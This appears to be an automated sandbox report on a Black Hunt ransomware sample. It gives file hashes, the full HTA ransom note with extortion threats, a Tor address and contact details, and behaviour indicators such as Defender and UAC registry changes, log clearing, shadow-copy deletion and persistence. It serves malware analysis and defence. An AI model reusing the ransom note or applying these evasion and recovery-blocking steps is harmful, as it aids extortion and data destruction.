bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
19/01/2024, 00:42

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General

Target

bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
Size

707KB
MD5

4d9a84b1b81fd4a31a3d400c5046aa50
SHA1

f9891b3f75428645e93e45c94ba6fca9f59a5e3a
SHA256

bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3
SHA512

1fbd3a2baea48a02e8ae46d1dc96834e3974ad35406ffc1afa65fa4f07eafb1699c3bc43af39daed28e076506a88f550091f47386d86dcab13f36416e8e7ae9f
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza168+vnh:6uaTmkZJ+naie5OTamgEoKxLWhgh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\Program Files\DVD Maker\de-DE\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> yQCM3ncK3FfT5N8E </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
3336	fsutil.exe
2636	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
3408	wevtutil.exe
3640	wevtutil.exe
1880	wevtutil.exe
3856	wevtutil.exe
3416	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2544	bcdedit.exe
3040	bcdedit.exe
3460	bcdedit.exe
3628	bcdedit.exe

Renames multiple (2893) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
3068	wbadmin.exe
3380	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
2388	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\A:	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened (read-only)	\??\H:	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened (read-only)	\??\Z:	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened (read-only)	\??\X:	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened (read-only)	\??\P:	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened (read-only)	\??\S:	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened (read-only)	\??\V:	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened (read-only)	\??\B:	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\U:	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened (read-only)	\??\I:	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\W:	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened (read-only)	\??\G:	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened (read-only)	\??\N:	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened (read-only)	\??\M:	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened (read-only)	\??\R:	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened (read-only)	\??\O:	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened (read-only)	\??\J:	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened (read-only)	\??\K:	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened (read-only)	\??\E:	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened (read-only)	\??\T:	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened (read-only)	\??\Y:	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened (read-only)	\??\L:	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened (read-only)	\??\M:	fsutil.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\#BlackHunt_Private.key	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\LucidaTypewriterRegular.ttf	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\binary\#BlackHunt_ReadMe.hta	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File created	C:\Program Files\VideoLAN\VLC\locale\oc\LC_MESSAGES\#BlackHunt_Private.key	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\vlc.mo	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\XDPFile_8.ico	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\psfontj2d.properties	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-14	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.publisher.nl_zh_4.4.0.v20140623020002.jar	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\Panel_Mask.wmv	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fur\#BlackHunt_Private.key	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationLeft_SelectionSubpicture.png	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\#BlackHunt_ReadMe.txt	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File created	C:\Program Files\VideoLAN\VLC\locale\he\LC_MESSAGES\#BlackHunt_ReadMe.txt	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyclient.jar	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\#BlackHunt_ReadMe.txt	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\rjmx.jar	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Omsk	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Casablanca	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\ENU\#BlackHunt_ReadMe.txt	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zh_CN\LC_MESSAGES\#BlackHunt_ReadMe.hta	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File created	C:\Program Files\Java\jdk1.7.0_80\bin\#BlackHunt_ReadMe.hta	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainBackground.wmv	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.net_1.2.200.v20120807-0927.jar	bc258a812c85a663e6526d7c3a87c7694caf4eb5bae346169c593118464ddbc3.exe
